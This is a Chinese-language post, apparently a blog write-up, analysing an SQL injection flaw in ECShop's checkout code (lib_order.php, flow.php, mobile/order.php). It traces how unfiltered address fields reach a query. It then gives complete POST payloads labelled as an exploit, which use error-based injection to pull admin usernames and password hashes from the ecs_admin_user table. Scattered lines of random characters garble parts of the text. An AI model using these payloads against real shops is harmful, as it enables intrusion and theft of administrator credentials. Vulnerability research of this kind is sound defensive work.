ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

% q! ~, Z5 b4 O3 @. ?    漏洞关键文件：
2 g7 o; i/ `! f  z
    /includes/lib_order.php
" b4 ^$ Q9 L' b1 F2 G/ ^9 h) K
/ J* C0 o' c  P% Z! J    关键函数：

6 c& E9 V& g- Q% Z* W$ ]2 o* I+ a

01     function available_shipping_list($region_id_list)

' q4 p3 u2 u2 L: `02 {
$ A* o4 u  \/ e* C; e8 D1 e; ^1 i
2 U) Z) Q8 i& Z3 f# Z* g, |03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
& A7 v: N6 t9 o
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
, K& H% j2 y* R9 H- l2 d  W, s& C6 c
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .

5 X# @/ |. b7 M06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

5 c; i8 O+ [4 y* B6 j$ L07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
7 f3 y$ ]$ R  O% A" j
: k7 X0 _1 m/ r0 N% R% z- I08             'WHERE r.region_id ' . db_create_in($region_id_list) .

; ?) `0 C8 X; f/ e2 q% C09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

10   
3 A7 ^5 D. M+ b" O$ n/ U4 ]4 n/ a
, L) x: w  u& b, y3 F11     return $GLOBALS['db']->getAll($sql);

# M( I1 v( {, W2 P* R5 T12 }

  k7 x) G7 Y1 B' m; s7 D" l显然对传入的参数没有任何过滤就带入了查询语句。
# l) J! L" D5 b/ r+ I, ~# f4 ^
7 [% P0 z+ v! l" s* U% l下面我们追踪这个函数在flow.php中：
第531行：   

1 $shipping_list     = available_shipping_list($region);
7 X/ u" J% M6 x2 V! L: @
3 f- ^: j$ Z6 d

. @5 U5 _9 U1 q" a( C' S

8 r: |1 N9 P# J; l  E再对传入变量进行追踪：
  M- n+ {' d3 h& H
第530行：   
, g' [8 [5 @* _/ M" }# N' g2 B) y
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
( F7 F+ F( f8 I$ V/ m4 Q* i
) H% S, v8 d1 e) [1 G! v* K0 l


$ P: c# u) |; |5 }3 I7 M* R
第473行：        
* |9 G/ f5 e0 Y9 v; k. s% O5 S+ T& I
1 $consignee = get_consignee($_SESSION['user_id']);
5 a5 [  E9 h) s8 }
到了一个关键函数：

/includes/lib_order.php

1 a0 ^* N8 |6 \0 w



01 function get_consignee($user_id)

02 {

6 t2 x. E* o8 p" Y0 h2 z" v1 }03     if (isset($_SESSION['flow_consignee']))

9 d5 @6 ~8 G+ [8 Q4 I9 }04     {
" t: n/ }, }- q2 c
05         /* 如果存在session，则直接返回session中的收货人信息 */
4 P) W- P) B0 b) e
) }( x+ j5 f. Q4 W& `06   
1 H: v5 w3 t$ N' O
07         return $_SESSION['flow_consignee'];

08     }

09     else

10     {

11         /* 如果不存在，则取得用户的默认收货人信息 */

( |; p. F& G; D* {) V. s12         $arr = array();

  a& p# d% I9 ?13   

14         if ($user_id > 0)
9 I/ R  p7 |% v; ?( B6 u  }
15         {
( ~& Q% o& Y% n: w
. s6 n7 d( p. I8 Y5 ], @16             /* 取默认地址 */

17             $sql = "SELECT ua.*".

18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
. D9 x3 D! U- c" ^7 V. k$ O
4 X( r: u! D% N4 J3 X; ^19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

" I* V  y2 ^8 h0 ?20   

21             $arr = $GLOBALS['db']->getRow($sql);

) {3 l6 a7 a. A22         }
: v3 h) n( Y" V8 d  F4 a5 n
23   

24         return $arr;

$ P: A8 r: `( L. r& ]  v! R8 u4 H$ t) w25     }
7 x7 l- }  _5 \* P) x4 L
1 d. v( X4 Q6 J+ X2 f3 ]6 ~26 }

显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？


! s+ B4 V4 p6 E: X7 }, c
/ N$ b. P0 J- X& c6 S关键点:

第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);

这里对传入参数反转义存入$_SESSION中。


/ b7 G5 ]: A& B% Q3 ?9 K$ B. L
; t: L1 F# F9 g: X/ Z& F* Z然后看下：
5 `0 z1 Q. ?+ x% n9 }


   
0 S% Y' g5 c% Y, N
" s% h' u& `5 W, l01 $consignee = array(
0 r4 b6 E3 \5 ~( D7 B
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
1 d0 t8 T; z; l& }! E$ ]: m. t
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
) W* }+ h6 O7 g0 J) y
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
, ~; J8 B6 c6 G& S. ?4 L2 z
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
# S; q# I$ @. _! I! h. m0 M' Z$ L
07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

08         'email'         => empty($_POST['email'])      ? '' _POST['email'],

09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

! K  }' @. j; y$ X* z, x10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

/ d0 J- h. ]% ^. s6 s2 }11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
2 k' z0 ~* q3 y
: ^; p( U8 ]8 [12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),

  X. R5 u# B  Q+ W3 [/ v13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
4 c6 P) U" N! o# D1 J& `  b) N7 f
) Z7 V/ t9 q  ~14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

2 i! ]0 K; j7 e15     );

好了注入就这样出现了。

==================

注入测试：

环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
- O3 T* D3 d/ Z/ K$ i
测试程序：ECShop_V2.7.3_UTF8_release1106
- \$ D# m1 o4 M


1.首先需要点击一个商品加入购物车

2.注册一个会员帐号

3.post提交数据
; T9 Q- Q+ Q' u0 g
9 U6 h+ w6 N$ K+ o6 O3 a& `
, [* |1 ^4 C4 T
' F; H( T' t2 Q1 http://127.0.0.1/ecshop/flow.php

2   
) v8 V" R  n7 S) C/ ?6 ~
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：

: `# Y1 c, S/ B7 x% z我们搜寻关键函数function available_shipping_list()
$ p0 `9 i1 L2 j
在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
( @+ Z9 X  P5 U3 r5 E
利用exp:
$ p3 `0 ?, s' C* N4 k
7 B) y# d) _) E7 ], I3 J" w" i& _1.点击一个商品，点击购买商标
; `) e8 h- e3 m, \7 A
2.登录会员帐号

. P( E% d% M) o; L3.post提交：
4 i6 M- F% j4 W: ~
http://127.0.0.1/ecshop/mobile/order.php
  H- t7 A4 _1 N$ m8 u+ X- K
( j0 |1 f8 K- a$ Y% y, a% V

- v: @4 R) F9 l2 O+ Zcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
8 Z! ]  Z- }, g2 k
& D( I4 I$ m" c5 T% g' D* @